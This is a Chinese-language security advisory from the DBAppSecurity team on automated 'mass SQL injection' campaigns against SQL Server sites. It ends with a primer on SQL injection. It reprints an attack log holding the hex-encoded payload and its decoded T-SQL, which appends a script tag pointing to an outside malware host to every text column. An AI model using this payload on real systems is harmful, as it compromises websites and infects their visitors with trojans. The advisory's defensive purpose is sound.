当前位置: 安全纵横 > 安全公告

[安全预警]警惕网络群注风暴的逼近

杭州安恒安全小组原创
Frank.Fan@dbAppSecurity.com.cn

当龙卷风或者特大暴风雪来临之际, 往往显得特别宁静. 希望这个不会应验到国内的网站上。因为在过去的几个月内国外已经连续发生两次的网站群注风暴. 总共有十几万个网站在短短几天内被无情摧残, 更重要的是, 所有访问这些网站的无辜网民也成了最终的受害者. 各类盗号木马百花齐放.

当我还在05年美国拉斯维加斯黑帽子大会讲了关于网站注入的危害和防范之后, 曾经和朋友闲聊起如果有个机器人利用google和网站的漏洞进行全自动传播的超级威力, 这种威力甚至超过了一个区域的龙卷风, 因为互联网是没有边界的!! 不幸的是, 这个笑话已成为了现实, 虽然实现的攻击机理并不是想象的那么复杂, 但是当这一切变成了现实后, 还是变得那么严重和可怕.

网络群注(Mass Injection), 可以简单翻译为巨量的SQL注入(SQL Injection). SQL注入是一种目前最流行的利用网站应用程序漏洞进行对数据库以及服务器进行攻击的手段. 这种攻击可能是窃取数据, 插入数据, 篡改数据, 删除数据或者执行任意命令以致直接控制服务器.
这类攻击适用范围极为广泛, 目前市面上80%以上的网站挂马是出自这类攻击. 而群注则在这种单个网站攻击基础上在自动化和智能性方面更进了一步. 也就是说, 从发现网站目标到发现漏洞点到注射木马, 全自动一气呵成, 效率极高. 很多国外著名的安全网站也惨遭毒手, 更不用说是国内的许许多多防范不严的网站了.

锁定目标:
目标的发现有很多途径, 比如通过Google等搜索引擎就是一个批量锁定目标效率极高的方式. 而且利用其丰富的搜索语言可以进行更好的分类和目标锁定.

发现注点:
发现注点的一个最通用办法就是利用爬虫原理爬行(Crawl) 整个网站, 尝试相关网站程序并且找到相关注点.

注射:
这个阶段是群注的核心步骤. 这次群注风暴所使用的手段几乎如出一辙. 就是往数据库的每个表的每个字符型字段中插入一段脚本. 如: <script src=”xxx.cn/xx.js”></script>, 由于动态程序往往会从数据库中读取相关数据并且整合成html显示到访问者浏览器. 这种办法使得所有访问者都难以幸免脚本的攻击, 以致于直接被xxx.cn上的木马击中. 值得一提的是, 这种情况下, 即使该网站上装了杀木马和病毒的程序, 也是无能为力的, 因为真正的木马不是在受害的网站上, 而是在xxx.cn上面.

在杭州安恒安全小组最近处理的几次网站被攻击的应急响应中, 已经发现数起被群注手段自动攻击得逞的例子, 如下例:

原始日志如下:
2008-05-13 00:28:25 W3SVC628249937 22.1.1.11 POST /news_default.asp
tid=117;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020 004000540020007600610072006300680061007200280032003500350029002C004000430020
0076006100720063006800610072002800320035003500290020004400450043004C00410052
00450020005400610062006C065005F0043007500720073006F0072002000430055005200530
04F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0
065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062
006A006500630074007300200061002C0073007900730063006F006C0075006D006E0073002
0006200200077006800650072006500200061002E00690064003D0062002E00690064002000
61006E006400200061002E00780074007900700065003D00270075002700200061006E00640
02000280062002E00780074007900700065003D003900390020006F007200200062002E0078
0074007900700065003D003300350020006F007200200062002E00780074007900700065003
D0032003300310020006F007200200062002E00780074007900700065003D00310036003700
290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720
020004600450054004300480020004E004500580054002000460052004F004D0020002000540
0610062006C0065005F0043007500720073006F007200200049004E0054004F0020004000540
02C004000430020005700480049004C004500280040004000460045005400430048005F00530
0540041005400550053003D0030002900200042004500470049004E002000650078006500630
02800270075007000640061007400650020005B0027002B00400054002B0027005D002000730
06500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063
006F006E007600650072007400280076006100720063006800610072002C005B0027002B0040
0043002B0027005D00290029002B00270027003C007300630072006900700074002000730072
0063003D0068007400740070003A002F002F007700770077002E006B0069006C006C0077006
F00770031002E0063006E002F0067002E006A0073003E003C002F00730063007200690070007
4003E0027002700270029004600450054004300480020004E004500580054002000460052004
F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E005
4004F002000400054002C0040004300200045004E004400200043004C004F005300450020005
400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F004
30041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%20
NVARCHAR(4 000));EXEC(@S);-- 80 - 204.13.70.223 Mozilla/3.0+(compatible;+Indy+Library) 200 0 0

解码后:

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.killwow1.cn/g.js></script>''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

里面的核心内容其实是: 利用SQL 注入攻击, 往后台数据库每个用户表的每个允许填写字符的字段插入”<script src=http://www.killwow1.cn/g.js></script>”
这样如果你打开网站, 从首页到每个子页面, 几乎都已经含有该脚本并自动受到木马攻击.

到目前为止, 群注风暴发生的网站几乎都有一个共同特点, 就是后台均为SQL Server. 这是由于SQL Server允许多语句执行并且插入攻击比较简单. 这类的群注机器人还有很多的”潜能”或者”成熟空间”可以发挥, 以目前的互联网的现状和我们一年来的情况观察, 这场网络战争势必会延续很长一段时间.

附录:SQL 注入常识

Web安全纷繁复杂,危害最严重的当属SQL注入。SQL Injection,中文名称为“SQL 注射”是一种数据库攻击手段,也是WEB应用程序漏洞存在的一种表现形式,它的实际意义就是利用某些数据库的外部接口把用户数据插入到实际的数据库操作语言当中,从而达到入侵数据库乃至操作系统的目的。
SQL Injection 的主要形式是,直接将代码插入与 SQL 命令串联并执行的用户输入变量中,间接的将恶意代码注入要在表中存储或作为元数据存储的字符串,在存储的字符串随后串连到一个动态 SQL 命令中时,执行该恶意代码。基本的攻击是提前终止文本字符串,然后追加一个新的命令。由于插入的命令可能在执行前追加其他字符串,因此攻击者将用注释标记“--”来中止注入的字符串。执行时,此后的指令将被忽略.
SQL Injection 攻击技术就起本质而言,它利用的工具是SQL的语法,针对的是应用程序开发者编程中的漏洞,当攻击者能操作数据,向应用程序中插入一些SQL语句时,SQL Injection攻击就发生了。实际上,SQL Injection攻击是存在于常见的多连接的应用程序中的一种漏洞,攻击者通过在应用程序预先定义好的查询语句结尾加上额外的SQL语句元素,欺骗数据库服务器执行非授权的任意查询。这类应用程序一般是Web Application,它允许用户输入查询条件,并将查询条件嵌入SQL 语句中,提交到数据库中执行。通过构造畸形SQL语句攻击者能够获取额外的信息数据。
就风险而言,SQL Injection攻击也是位居前列,和缓冲区溢出漏洞相比,其优势在于能够轻易的绕过防火墙直接访问数据库,甚至能够获得数据库所在的服务器的访问权限。在某些环境下,SQL Injection 漏洞的风险要高过其他所有的漏洞。
SQL Injection攻击利用的是SQL 语法,这使得这种攻击具有广泛性。特点鲜明:

隐蔽性强
利用Web漏洞发起对WEB应用的攻击纷繁复杂,包括SQL 注入,跨站脚本攻击等等,一个共同特点是隐蔽性强,不易发觉,因为一方面普通网络防火墙是对HTTP/HTTPS全开放的,另一方面,对Web应用攻击的变化非常多,传统的基于特征检测的IDS对此类攻击几乎没有作用。

攻击时间短
可在短短几秒到几分钟内完成一次数据窃取、一次木马种植、完成对整个数据库或Web服务器的控制,以至于非常困难作出人为反应。

危害性大
目前几乎所有银行,证券,电信,移动,政府以及电子商务企业都提供在线交易,查询和交互服务。用户的机密信息包括账户,个人私密信息(如身份证),交易信息等等,都是通过Web存储于后台数据库中, 这样,在线服务器一旦瘫痪,或虽在正常运行,但后台数据已被篡改或者窃取, 都将造成企业或个人巨大的损失。据权威部门统计,目前身份失窃(identity theft)已成为全球最严重的问题之一。政府网站被攻击和篡改造成恶劣的社会影响甚至被外来势力所利用, 已经在危害着社会的稳定.

非常严重的有形和无形损失
目前,包括政府以及很多大型企业尤其是在国内外上市的企业, 一旦发生这类安全事件,必将造成人心惶惶,名誉扫地,以致于造成经济和声誉上的巨大损失,即便不上市,其影响和损失也是不可估量的。

 

杭州安恒信息技术有限公司安全小组原创 www.dbAppSecurity.com.cn